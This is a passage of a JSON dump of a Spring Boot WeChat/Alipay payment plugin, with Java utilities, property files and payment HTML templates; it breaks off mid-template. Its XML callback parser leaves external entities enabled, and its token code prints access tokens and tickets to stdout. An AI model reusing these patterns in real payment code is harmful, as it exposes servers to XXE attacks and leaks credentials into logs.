    "content": "package com.springboot.util;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.util.Properties;\n\nimport org.apache.log4j.Logger;\n\npublic class PropertiesUtil {\n\tprivate Properties properties = null;\n\tprivate static final Logger logger = Logger.getLogger(PropertiesUtil.class);\n\n\tpublic PropertiesUtil(String fileName) {\n\t\tthis(fileName, \"UTF-8\");\n\t}\n\n\tpublic PropertiesUtil(File file) {\n\t\tthis(file, \"UTF-8\");\n\t}\n\n\tpublic PropertiesUtil(String fileName, String charset) {\n\t\tInputStream inputStream = null;\n\t\ttry {\n\t\t\tinputStream = getClassLoader().getResourceAsStream(fileName); // properties.load(Prop.class.getResourceAsStream(fileName));\n\t\t\tif (inputStream == null) {\n\t\t\t\tthrow new IllegalArgumentException(\"Properties file not found in classpath: \" + fileName);\n\t\t\t}\n\t\t\tproperties = new Properties();\n\t\t\tproperties.load(new InputStreamReader(inputStream, charset));\n\t\t} catch (IOException e) {\n\t\t\tthrow new RuntimeException(\"Error loading properties file.\", e);\n\t\t} finally {\n\t\t\tif (inputStream != null)\n\t\t\t\ttry {\n\t\t\t\t\tinputStream.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\tlogger.error(e.getMessage(), e);\n\t\t\t\t}\n\t\t}\n\t}\n\n\tpublic PropertiesUtil(File file, String charset) {\n\t\tif (file == null) {\n\t\t\tthrow new IllegalArgumentException(\"File can not be null.\");\n\t\t}\n\t\tif (file.isFile() == false) {\n\t\t\tthrow new IllegalArgumentException(\"File not found : \" + file.getName());\n\t\t}\n\n\t\tInputStream inputStream = null;\n\t\ttry {\n\t\t\tinputStream = new FileInputStream(file);\n\t\t\tproperties = new Properties();\n\t\t\tproperties.load(new InputStreamReader(inputStream, charset));\n\t\t} catch (IOException e) {\n\t\t\tthrow new RuntimeException(\"Error loading properties file.\", e);\n\t\t} finally {\n\t\t\tif (inputStream != null)\n\t\t\t\ttry {\n\t\t\t\t\tinputStream.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\tlogger.error(e.getMessage(), e);\n\t\t\t\t}\n\t\t}\n\t}\n\n\tprivate ClassLoader getClassLoader() {\n\t\tClassLoader ret = Thread.currentThread().getContextClassLoader();\n\t\treturn ret != null ? ret : getClass().getClassLoader();\n\t}\n\n\tpublic String get(String key) {\n\t\treturn properties.getProperty(key);\n\t}\n\n\tpublic String get(String key, String defaultValue) {\n\t\treturn properties.getProperty(key, defaultValue);\n\t}\n\n\tpublic Integer getInt(String key) {\n\t\treturn getInt(key, null);\n\t}\n\n\tpublic Integer getInt(String key, Integer defaultValue) {\n\t\tString value = properties.getProperty(key);\n\t\tif (value != null) {\n\t\t\treturn Integer.parseInt(value.trim());\n\t\t}\n\t\treturn defaultValue;\n\t}\n\n\tpublic Long getLong(String key) {\n\t\treturn getLong(key, null);\n\t}\n\n\tpublic Long getLong(String key, Long defaultValue) {\n\t\tString value = properties.getProperty(key);\n\t\tif (value != null) {\n\t\t\treturn Long.parseLong(value.trim());\n\t\t}\n\t\treturn defaultValue;\n\t}\n\n\tpublic Boolean getBoolean(String key) {\n\t\treturn getBoolean(key, null);\n\t}\n\n\tpublic Boolean getBoolean(String key, Boolean defaultValue) {\n\t\tString value = properties.getProperty(key);\n\t\tif (value != null) {\n\t\t\tvalue = value.toLowerCase().trim();\n\t\t\tif (\"true\".equals(value)) {\n\t\t\t\treturn true;\n\t\t\t} else if (\"false\".equals(value)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tthrow new RuntimeException(\"The value can not parse to Boolean : \" + value);\n\t\t}\n\t\treturn defaultValue;\n\t}\n\n\tpublic boolean containsKey(String key) {\n\t\treturn properties.containsKey(key);\n\t}\n\n\tpublic Properties getProperties() {\n\t\treturn properties;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/WxPayUtil.java",
    "content": "package com.springboot.util;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.SortedMap;\nimport java.util.TreeMap;\n\npublic class WxPayUtil {\n\t/**\n\t * 是否签名正确,规则是:按参数名称a-z排序,遇到空值的参数不参加签名。\n\t * \n\t * @return boolean\n\t */\n\tpublic static boolean isTenpaySign(String characterEncoding, SortedMap<Object, Object> packageParams,\n\t\t\tString API_KEY) {\n\t\tStringBuffer sb = new StringBuffer();\n\t\tSet es = packageParams.entrySet();\n\t\tIterator it = es.iterator();\n\t\twhile (it.hasNext()) {\n\t\t\tMap.Entry entry = (Map.Entry) it.next();\n\t\t\tString k = (String) entry.getKey();\n\t\t\tString v = (String) entry.getValue();\n\t\t\tif (!\"sign\".equals(k) && null != v && !\"\".equals(v)) {\n\t\t\t\tsb.append(k + \"=\" + v + \"&\");\n\t\t\t}\n\t\t}\n\n\t\tsb.append(\"key=\" + API_KEY);\n\n\t\t// 算出摘要\n\t\tString mysign = MD5Util.MD5Encode(sb.toString(), characterEncoding).toLowerCase();\n\t\tString tenpaySign = ((String) packageParams.get(\"sign\")).toLowerCase();\n\n\t\t// System.out.println(tenpaySign + \" \" + mysign);\n\t\treturn tenpaySign.equals(mysign);\n\t}\n\n\t/**\n\t * @author\n\t * @date 2016-4-22\n\t * @Description：sign签名\n\t * @param characterEncoding\n\t *            编码格式\n\t * @param parameters\n\t *            请求参数\n\t * @return\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static String createSign(String characterEncoding, SortedMap<Object, Object> packageParams, String API_KEY) {\n\t\ttry {\n\t\t\tStringBuffer sb = new StringBuffer();\n\t\t\tSet es = packageParams.entrySet();\n\t\t\tIterator it = es.iterator();\n\t\t\twhile (it.hasNext()) {\n\t\t\t\tMap.Entry entry = (Map.Entry) it.next();\n\t\t\t\tString k = entry.getKey().toString();\n\t\t\t\tString v = entry.getValue().toString();\n\t\t\t\tif (null != v && !\"\".equals(v) && !\"sign\".equals(k) && !\"key\".equals(k)) {\n\t\t\t\t\tsb.append(k + \"=\" + v + \"&\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tsb.append(\"key=\" + API_KEY);\n\t\t\tString sign = MD5Util.MD5Encode(sb.toString(), characterEncoding).toUpperCase();\n\t\t\treturn sign;\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(\"微信支付生成签名失败：\" + e);\n\t\t}\n\n\t}\n\n\t/**\n\t * @author\n\t * @date 2016-4-22\n\t * @Description：将请求参数转换为xml格式的string\n\t * @param parameters\n\t *            请求参数\n\t * @return\n\t */\n\tpublic static String getRequestXml(SortedMap<Object, Object> parameters) {\n\t\tStringBuffer sb = new StringBuffer();\n\t\tsb.append(\"<xml>\");\n\t\tSet es = parameters.entrySet();\n\t\tIterator it = es.iterator();\n\t\twhile (it.hasNext()) {\n\t\t\tMap.Entry entry = (Map.Entry) it.next();\n\t\t\tString k = entry.getKey().toString();\n\t\t\tString v = entry.getValue().toString();\n\t\t\tif (\"attach\".equalsIgnoreCase(k) || \"body\".equalsIgnoreCase(k) || \"sign\".equalsIgnoreCase(k)) {\n\t\t\t\tsb.append(\"<\" + k + \">\" + \"<![CDATA[\" + v + \"]]></\" + k + \">\");\n\t\t\t} else {\n\t\t\t\tsb.append(\"<\" + k + \">\" + v + \"</\" + k + \">\");\n\t\t\t}\n\t\t}\n\t\tsb.append(\"</xml>\");\n\t\treturn sb.toString();\n\t}\n\n\t/**\n\t * 取出一个指定长度大小的随机正整数.\n\t * \n\t * @param length\n\t *            int 设定所取出随机数的长度。length小于11\n\t * @return int 返回生成的随机数。\n\t */\n\tpublic static int buildRandom(int length) {\n\t\tint num = 1;\n\t\tdouble random = Math.random();\n\t\tif (random < 0.1) {\n\t\t\trandom = random + 0.1;\n\t\t}\n\t\tfor (int i = 0; i < length; i++) {\n\t\t\tnum = num * 10;\n\t\t}\n\t\treturn (int) ((random * num));\n\t}\n\n\t/**\n\t * 获取当前时间 yyyyMMddHHmmss\n\t * \n\t * @return String\n\t */\n\tpublic static String getCurrTime() {\n\t\tDate now = new Date();\n\t\tSimpleDateFormat outFormat = new SimpleDateFormat(\"yyyyMMddHHmmss\");\n\t\tString s = outFormat.format(now);\n\t\treturn s;\n\t}\n\n\t/**\n\t * 组装微信支付参数\n\t * \n\t * @return\n\t */\n\tpublic static SortedMap<Object, Object> createWxParam(String appid, String mch_id, String nonce_str,\n\t\t\tString notify_url, String trade_type) {\n\t\tSortedMap<Object, Object> packageParams = new TreeMap<Object, Object>();\n\t\tpackageParams.put(\"appid\", appid);\n\t\tpackageParams.put(\"mch_id\", mch_id);\n\t\tpackageParams.put(\"nonce_str\", nonce_str);\n\t\tpackageParams.put(\"notify_url\", notify_url);\n\t\tpackageParams.put(\"trade_type\", trade_type);\n\t\treturn packageParams;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/WxUtil.java",
    "content": "package com.springboot.util;\n\nimport java.io.InputStream;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.UUID;\n\nimport org.apache.commons.lang.StringUtils;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\n\npublic class WxUtil {\n\n\t// 通过code换取网页授权access_token与openid\n\tpublic static final String get_user_openId = \"https://api.weixin.qq.com/sns/oauth2/access_token?appid=APPID&secret=SECRET&code=CODE&grant_type=authorization_code\";\n\n\t/**\n\t * \n\t * 获得ACCESS_TOKEN\n\t * \n\t * @Title: getAccess_token\n\t * \n\t * @Description: 获得ACCESS_TOKEN\n\t * \n\t * @param @return 设定文件\n\t * \n\t * @return String 返回类型\n\t * \n\t * @throws\n\t * \n\t */\n\tpublic static String getAccessToken() {\n\t\tString url = \"https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=\"\n\t\t\t\t+ PropKit.get(\"weixin.pay.appid\") + \"&secret=\" + PropKit.get(\"weixin.pay.appsecret\");\n\t\tString accessToken = null;\n\t\ttry {\n\t\t\tURL urlGet = new URL(url);\n\t\t\tHttpURLConnection http = (HttpURLConnection) urlGet.openConnection();\n\t\t\thttp.setRequestMethod(\"GET\"); // 必须是get方式请求\n\t\t\thttp.setRequestProperty(\"Content-Type\", \"application/x-www-form-urlencoded\");\n\t\t\thttp.setDoOutput(true);\n\t\t\thttp.setDoInput(true);\n\t\t\tSystem.setProperty(\"sun.net.client.defaultConnectTimeout\", \"30000\");// 连接超时30秒\n\t\t\tSystem.setProperty(\"sun.net.client.defaultReadTimeout\", \"30000\"); // 读取超时30秒\n\t\t\thttp.connect();\n\t\t\tInputStream is = http.getInputStream();\n\t\t\tint size = is.available();\n\t\t\tbyte[] jsonBytes = new byte[size];\n\t\t\tis.read(jsonBytes);\n\t\t\tString message = new String(jsonBytes, \"UTF-8\");\n\t\t\tJSONObject demoJson = JSON.parseObject(message);\n\t\t\taccessToken = demoJson.getString(\"access_token\");\n\t\t\tis.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(\"获取微信access_token出错\");\n\t\t}\n\t\treturn accessToken;\n\t}\n\n\tpublic static String getTicket() {\n\t\tfinal String jsapi_ticket_url = String.format(\n\t\t\t\t\"https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token=%s&type=jsapi\",\n\t\t\t\tWxUtil.getAccessToken());\n\t\tString ticket = null;\n\t\ttry {\n\t\t\tURL urlGet = new URL(jsapi_ticket_url);\n\t\t\tHttpURLConnection http = (HttpURLConnection) urlGet.openConnection();\n\t\t\thttp.setRequestMethod(\"GET\"); // 必须是get方式请求\n\t\t\thttp.setRequestProperty(\"Content-Type\", \"application/x-www-form-urlencoded\");\n\t\t\thttp.setDoOutput(true);\n\t\t\thttp.setDoInput(true);\n\t\t\tSystem.setProperty(\"sun.net.client.defaultConnectTimeout\", \"30000\");// 连接超时30秒\n\t\t\tSystem.setProperty(\"sun.net.client.defaultReadTimeout\", \"30000\"); // 读取超时30秒\n\t\t\thttp.connect();\n\t\t\tInputStream is = http.getInputStream();\n\t\t\tint size = is.available();\n\t\t\tbyte[] jsonBytes = new byte[size];\n\t\t\tis.read(jsonBytes);\n\t\t\tString message = new String(jsonBytes, \"UTF-8\");\n\t\t\tJSONObject demoJson = JSON.parseObject(message);\n\t\t\tticket = demoJson.getString(\"ticket\");\n\t\t\tis.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(\"获取微信ticket出错\");\n\t\t}\n\t\treturn ticket;\n\t}\n\n\tpublic static Map<String, Object> cresateSignature() {\n\t\ttry {\n\t\t\t// 1、获取AccessToken\n\t\t\tString accessToken = getAccessToken();\n\t\t\t// 2、获取Ticket\n\t\t\tString jsapi_ticket = null;\n\t\t\tif (JedisUtil.get(\"ticket\") == null) {\n\t\t\t\tString ticket = getTicket();\n\t\t\t\tJedisUtil.setex(\"ticket\", 7200, ticket);\n\t\t\t\tjsapi_ticket = ticket;\n\t\t\t} else {\n\n\t\t\t\tjsapi_ticket = JedisUtil.get(\"ticket\");\n\t\t\t}\n\t\t\tSystem.out.println(\"缓存中的数据：\" + JedisUtil.get(\"ticket\"));\n\t\t\t// 3、时间戳和随机字符串\n\t\t\tString noncestr = UUID.randomUUID().toString().replace(\"-\", \"\").substring(0, 16);// 随机字符串\n\t\t\tString timestamp = String.valueOf(System.currentTimeMillis() / 1000);// 时间戳\n\n\t\t\tSystem.out.println(\"accessToken:\" + accessToken + \"\\njsapi_ticket:\" + jsapi_ticket + \"\\n时间戳：\" + timestamp\n\t\t\t\t\t+ \"\\n随机字符串：\" + noncestr);\n\n\t\t\t// 4、获取url\n\t\t\tString url = \"http://test.jiedanba.cn/pay/\";\n\t\t\t/*\n\t\t\t * 根据JSSDK上面的规则进行计算，这里比较简单，我就手动写啦 String[] ArrTmp =\n\t\t\t * {\"jsapi_ticket\",\"timestamp\",\"nonce\",\"url\"}; Arrays.sort(ArrTmp);\n\t\t\t * StringBuffer sf = new StringBuffer(); for(int\n\t\t\t * i=0;i<ArrTmp.length;i++){ sf.append(ArrTmp[i]); }\n\t\t\t */\n\n\t\t\t// 5、将参数排序并拼接字符串\n\t\t\tString str = \"jsapi_ticket=\" + jsapi_ticket + \"&noncestr=\" + noncestr + \"&timestamp=\" + timestamp + \"&url=\"\n\t\t\t\t\t+ url;\n\n\t\t\t// 6、将字符串进行sha1加密\n\t\t\tString signature = HashKit.sha1(str);\n\t\t\tSystem.out.println(\"参数：\" + str + \"\\n签名：\" + signature);\n\t\t\tMap<String, Object> result = new HashMap<String, Object>();\n\t\t\tresult.put(\"jsapi_ticket\", jsapi_ticket);\n\t\t\tresult.put(\"noncestr\", noncestr);\n\t\t\tresult.put(\"timestamp\", timestamp);\n\t\t\tresult.put(\"url\", url);\n\t\t\tresult.put(\"signature\", signature);\n\t\t\treturn result;\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(\"生成微信Signature出错\");\n\t\t}\n\n\t}\n\n\t/**\n\t * \n\t * getUserOpenId(根据code获取网页授权token)\n\t * \n\t * @param appid\n\t * @param appsecret\n\t * @param code\n\t * @return\n\t * @throws @author\n\t *             chenlin\n\t * @date 2015年10月8日 下午5:14:50\n\t */\n\tpublic static Map<String, Object> getUserOpenId(String appid, String appsecret, String code) {\n\t\tMap<String, Object> resultMap = new HashMap<String, Object>();\n\t\tif (StringUtils.isNotBlank(code)) {\n\t\t\tString url = get_user_openId.replace(\"APPID\", appid).replace(\"SECRET\", appsecret).replace(\"CODE\", code);\n\t\t\tString result = HttpKit.get(url);\n\t\t\tJSONObject jsonObject = JSON.parseObject(result);\n\t\t\tif (null != jsonObject) {\n\t\t\t\tif (jsonObject.containsKey(\"errcode\")) {\n\n\t\t\t\t} else {\n\t\t\t\t\tresultMap.put(\"access_token\", jsonObject.getString(\"access_token\"));\n\t\t\t\t\tresultMap.put(\"openid\", jsonObject.getString(\"openid\"));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn resultMap;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/XMLUtil.java",
    "content": "package com.springboot.util;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.jdom.Document;\nimport org.jdom.Element;\nimport org.jdom.JDOMException;\nimport org.jdom.input.SAXBuilder;\n\npublic class XMLUtil {\n\t/**\n\t * 解析xml,返回第一级元素键值对。如果第一级元素有子节点，则此节点的值是子节点的xml数据。\n\t * \n\t * @param strxml\n\t * @return\n\t * @throws JDOMException\n\t * @throws IOException\n\t */\n\tpublic static Map doXMLParse(String strxml) throws JDOMException, IOException {\n\t\tstrxml = strxml.replaceFirst(\"encoding=\\\".*\\\"\", \"encoding=\\\"UTF-8\\\"\");\n\n\t\tif (null == strxml || \"\".equals(strxml)) {\n\t\t\treturn null;\n\t\t}\n\n\t\tMap m = new HashMap();\n\n\t\tInputStream in = new ByteArrayInputStream(strxml.getBytes(\"UTF-8\"));\n\t\tSAXBuilder builder = new SAXBuilder();\n\t\tDocument doc = builder.build(in);\n\t\tElement root = doc.getRootElement();\n\t\tList list = root.getChildren();\n\t\tIterator it = list.iterator();\n\t\twhile (it.hasNext()) {\n\t\t\tElement e = (Element) it.next();\n\t\t\tString k = e.getName();\n\t\t\tString v = \"\";\n\t\t\tList children = e.getChildren();\n\t\t\tif (children.isEmpty()) {\n\t\t\t\tv = e.getTextNormalize();\n\t\t\t} else {\n\t\t\t\tv = XMLUtil.getChildrenText(children);\n\t\t\t}\n\n\t\t\tm.put(k, v);\n\t\t}\n\n\t\t// 关闭流\n\t\tin.close();\n\n\t\treturn m;\n\t}\n\n\t/**\n\t * 获取子结点的xml\n\t * \n\t * @param children\n\t * @return String\n\t */\n\tpublic static String getChildrenText(List children) {\n\t\tStringBuffer sb = new StringBuffer();\n\t\tif (!children.isEmpty()) {\n\t\t\tIterator it = children.iterator();\n\t\t\twhile (it.hasNext()) {\n\t\t\t\tElement e = (Element) it.next();\n\t\t\t\tString name = e.getName();\n\t\t\t\tString value = e.getTextNormalize();\n\t\t\t\tList list = e.getChildren();\n\t\t\t\tsb.append(\"<\" + name + \">\");\n\t\t\t\tif (!list.isEmpty()) {\n\t\t\t\t\tsb.append(XMLUtil.getChildrenText(list));\n\t\t\t\t}\n\t\t\t\tsb.append(value);\n\t\t\t\tsb.append(\"</\" + name + \">\");\n\t\t\t}\n\t\t}\n\n\t\treturn sb.toString();\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/resources/application-dev.properties",
    "content": "##\nserver.port=1005\n\nspring.datasource.type=com.alibaba.druid.pool.DruidDataSource\nspring.datasource.url=jdbc:mysql://127.0.0.1/jiedanba?useUnicode=true&characterEncoding=utf-8&zeroDateTimeBehavior=convertToNull\n##&characterEncoding=utf8\nspring.datasource.username=root\nspring.datasource.password=root\nspring.datasource.driverClassName=com.mysql.jdbc.Driver\n\n�\nspring.datasource.druid.initialSize=5\nspring.datasource.druid.minIdle=5\nspring.datasource.druid.maxActive=20\nspring.datasource.druid.maxWait=60000\nspring.datasource.druid.timeBetweenEvictionRunsMillis=35000\nspring.datasource.druid.minEvictableIdleTimeMillis=300000\nspring.datasource.druid.validationQuery=SELECT 1 FROM `user`\nspring.datasource.druid.testWhileIdle=true\nspring.datasource.druid.testOnBorrow=false\nspring.datasource.druid.testOnReturn=false\nspring.datasource.druid.poolPreparedStatements=true\nspring.datasource.druid.maxPoolPreparedStatementPerConnectionSize=20\nspring.datasource.druid.filters=stat,wall\n\n\n## undertow \\u914d\\u7f6e\n# \\u8bbe\\u7f6eIO\\u7ebf\\u7a0b\\u6570, \\u5b83\\u4e3b\\u8981\\u6267\\u884c\\u975e\\u963b\\u585e\\u7684\\u4efb\\u52a1,\\u5b83\\u4eec\\u4f1a\\u8d1f\\u8d23\\u591a\\u4e2a\\u8fde\\u63a5, \\u9ed8\\u8ba4\\u8bbe\\u7f6e\\u6bcf\\u4e2aCPU\\u6838\\u5fc3\\u4e00\\u4e2a\\u7ebf\\u7a0b\nserver.undertow.io-threads=2\n# \\u963b\\u585e\\u4efb\\u52a1\\u7ebf\\u7a0b\\u6c60, \\u5f53\\u6267\\u884c\\u7c7b\\u4f3cservlet\\u8bf7\\u6c42\\u963b\\u585e\\u64cd\\u4f5c, undertow\\u4f1a\\u4ece\\u8fd9\\u4e2a\\u7ebf\\u7a0b\\u6c60\\u4e2d\\u53d6\\u5f97\\u7ebf\\u7a0b,\\u5b83\\u7684\\u503c\\u8bbe\\u7f6e\\u53d6\\u51b3\\u4e8e\\u7cfb\\u7edf\\u7684\\u8d1f\\u8f7d\nserver.undertow.worker-threads=10\n# \\u4ee5\\u4e0b\\u7684\\u914d\\u7f6e\\u4f1a\\u5f71\\u54cdbuffer,\\u8fd9\\u4e9bbuffer\\u4f1a\\u7528\\u4e8e\\u670d\\u52a1\\u5668\\u8fde\\u63a5\\u7684IO\\u64cd\\u4f5c,\\u6709\\u70b9\\u7c7b\\u4f3cnetty\\u7684\\u6c60\\u5316\\u5185\\u5b58\\u7ba1\\u7406\n# \\u6bcf\\u5757buffer\\u7684\\u7a7a\\u95f4\\u5927\\u5c0f,\\u8d8a\\u5c0f\\u7684\\u7a7a\\u95f4\\u88ab\\u5229\\u7528\\u8d8a\\u5145\\u5206\nserver.undertow.buffer-size=1024\n# \\u6bcf\\u4e2a\\u533a\\u5206\\u914d\\u7684buffer\\u6570\\u91cf , \\u6240\\u4ee5pool\\u7684\\u5927\\u5c0f\\u662fbuffer-size * buffers-per-region\nserver.undertow.buffers-per-region=1024\n# \\u662f\\u5426\\u5206\\u914d\\u7684\\u76f4\\u63a5\\u5185\\u5b58\nserver.undertow.direct-buffers=true\n\n##logback \\u65e5\\u5fd7\\u914d\\u7f6e\nlogging.level.root=info\nlogging.level.org.springframework=info"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/resources/application.properties",
    "content": "##\\u6307\\u5b9a profile \\u7c7b\\u578b\nspring.profiles.active=dev\n\n\nspring.jpa.database = MYSQL\n##Hibernate ddl auto (create, create-drop, update,validate)\nspring.jpa.hibernate.ddl-auto=none\nspring.jpa.show-sql = true\nspring.jpa.hibernate.dialect=org.hibernate.dialect.MySQL5Dialect\nspring.jpa.properties.hibernate.dialect = org.hibernate.dialect.MySQL5Dialect\nspring.jpa.hibernate.naming-strategy = org.hibernate.cfg.DefaultNamingStrategy\nspring.jpa.properties.hibernate.current_session_context_class=org.springframework.orm.hibernate4.SpringSessionContext\n\n##\\u670d\\u52a1\\u5bb9\\u5668\\u914d\\u7f6e\nserver.session.timeout=30\nserver.undertow.uri-encoding=UTF-8\n\n# mvc jsp \\u914d\\u7f6e\n#spring.mvc.view.prefix=/view/\n#spring.mvc.view.suffix=.jsp\n\n#thymeleaf start\nspring.thymeleaf.mode=HTML5\nspring.thymeleaf.encoding=UTF-8\nspring.thymeleaf.content-type=text/html\n#\\u5f00\\u53d1\\u65f6\\u5173\\u95ed\\u7f13\\u5b58,\\u4e0d\\u7136\\u6ca1\\u6cd5\\u770b\\u5230\\u5b9e\\u65f6\\u9875\\u9762\nspring.thymeleaf.cache=false\n#thymeleaf end\n\n\n##Jackson \\u914d\\u7f6e\nspring.jackson.date-format=yyyy-MM-dd HH:mm:ss\nspring.jackson.serialization.WRITE_NULL_MAP_VALUES=false\n#spring.jackson.serialization-inclusion=non_null\nspring.jackson.default-property-inclusion=non_null\n#spring.jackson.property-naming-strategy=# One of the constants onJackson's PropertyNamingStrategy (e.g.CAMEL_CASE_TO_LOWER_CASE_WITH_UNDERSCORES) or the fully-qualified class name ofa PropertyNamingStrategy subclass \n#spring.jackson.deserialization.*= # see Jackson's DeserializationFeature\n#spring.jackson.generator.*= # see Jackson's JsonGenerator.Feature\n#spring.jackson.mapper.*= # see Jackson's MapperFeature\n#spring.jackson.parser.*= # see Jackson's JsonParser.Feature\n#spring.jackson.serialization.*= # see Jackson's SerializationFeature\n\nspring.aop.proxy-target-class=true\n\n\nspring.http.multipart.maxFileSize=10Mb\nspring.http.multipart.maxRequestSize=100Mb\n\n\n##logback \\u65e5\\u5fd7\\u914d\\u7f6e\nlogging.file=springboot.log"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/resources/pay-info.properties",
    "content": "\n##Redis配置\njedis.pool.ip=127.0.0.1\njedis.pool.port=6379\n\n\n##微信支付\nweixin.pay.appsecret=xxxxxxxx\nweixin.pay.appid=xxxxxxxx\nweixin.pay.mchid=xxxxx\nweixin.pay.key=xxxxxx\n#异步通知\nweixin.pay.notify_url=http://test.jiedanba.cn/pay/notify/notifyWx\nweixin.pay.pay_url=https://api.mch.weixin.qq.com/pay/unifiedorder\n\n##律多多支付宝支付\n#应用Id\nalipay.pay.appid=xxxxxxxx\n#收款支付宝用户唯一ID\nalipay.pay.sellerId=xxxxxxxx\n#支付宝支付网关\nalipay.pay.gateway=https://openapi.alipay.com/gateway.do\n#私钥\nalipay.pay.private.key=xxxxxxxx\n#公钥\nalipay.pay.public.key=xxxxxxxx\n#签名算法类型\nalipay.pay.sign.type=RSA2\n#支付传输格式\nalipay.pay.format=json\n#支付传输编码\nalipay.pay.charset=UTF-8\n# 异步通知地址 RSA2\nalipay.pay.notify.url=http://test.jiedanba.cn/pay/notify/aliNotify\n#PC支付成功跳转地址\nalipay.pay.pc.success.url=http://test.jiedanba.cn/\n#H5网页支付\nalipay.pay.type.h5=QUICK_WAP_PAY\n\n#扫码支付失效时间\nalipay.pay.timeout.express=90m\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/resources/template/view/ali/qrCode.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<title>支付宝扫码支付</title>\n</head>\n<body>\n<div id=\"qrcode\" style=\"text-align: center;\"></div>\n</body>\n<script type=\"text/javascript\" src=\"https://cdn.jiedanba.cn/lib/jquery/1.8.3/jquery.min.js\"></script>\n<script type=\"text/javascript\" src=\"https://cdn.jiedanba.cn/lib/jquery.qrcode/1.0/jquery.qrcode.min.js\"></script>\n<script type=\"text/javascript\">\n\t$(function(){\n\t\t$(\"#qrcode\").qrcode({text:\"#(url)\",correctLevel:1,width:165,height:165});\n\t});\n</script>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/resources/template/view/wx/qrCode.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<title>微信扫码支付</title>\n</head>\n<body>\n<div id=\"qrcode\" style=\"text-align: center;\"></div>\n</body>\n<script type=\"text/javascript\" src=\"https://cdn.jiedanba.cn/lib/jquery/1.8.3/jquery.min.js\"></script>\n<script type=\"text/javascript\" src=\"https://cdn.jiedanba.cn/lib/jquery.qrcode/1.0/jquery.qrcode.min.js\"></script>\n<script type=\"text/javascript\">\n\t$(function(){\n\t\t$(\"#qrcode\").qrcode({text:\"#(url)\",correctLevel:1,width:165,height:165});\n\t});\n</script>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/resources/template/view/wx/wx.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<title>微信公众号支付</title>\n</head>\n<body>\n<a href=\"javascript:void(0)\" onclick=\"onBridgeReady()\">发起支付</a>\n</body>\n<script type=\"text/javascript\" src=\"https://res.wx.qq.com/open/js/jweixin-1.2.0.js\"></script>\n<script type=\"text/javascript\">\nwx.config({\n    debug: true, // 开启调试模式,调用的所有api的返回值会在客户端alert出来，若要查看传入的参数，可以在pc端打开，参数信息会通过log打出，仅在pc端时才会打印。\n    appId: '#(appId)', // 必填，公众号的唯一标识\n    timestamp: '#(hashMap.timestamp)', // 必填，生成签名的时间戳\n    nonceStr: '#(hashMap.noncestr)', // 必填，生成签名的随机串\n    signature: '#(hashMap.signature)',// 必填，签名，见附录1\n    jsApiList: ['chooseWXPay'] // 必填，需要使用的JS接口列表，所有JS接口列表见附录2\n});\n\n\t\n\t function onBridgeReady(){\n\t\twx.chooseWXPay({\n\t\t\ttimestamp: '#(hashMap.timestamp)', // 支付签名时间戳，注意微信jssdk中的所有使用timestamp字段均为小写。但最新版的支付后台生成签名使用的timeStamp字段名需大写其中的S字符\n\t\t\tnonceStr: '#(hashMap.noncestr)', // 支付签名随机串，不长于 32 位\n\t\t\tpackage: 'prepay_id=#(prepay_id)', // 统一支付接口返回的prepay_id参数值，提交格式如：prepay_id=\\*\\*\\*）\n\t\t\tsignType: 'MD5', // 签名方式，默认为'SHA1'，使用新版支付需传入'MD5'\n\t\t\tpaySign: '#(sign)', // 支付签名\n\t\t\tsuccess: function (res) {\n\t\t      // 支付成功后的回调函数\n\t\t      alert(\"支付成功\");\n\t\t    },//如果你按照正常的jQuery逻辑，下面如果发送错误，一定是error，那你就太天真了，当然，jssdk文档中也有提到\n\t\t      fail: function(res) 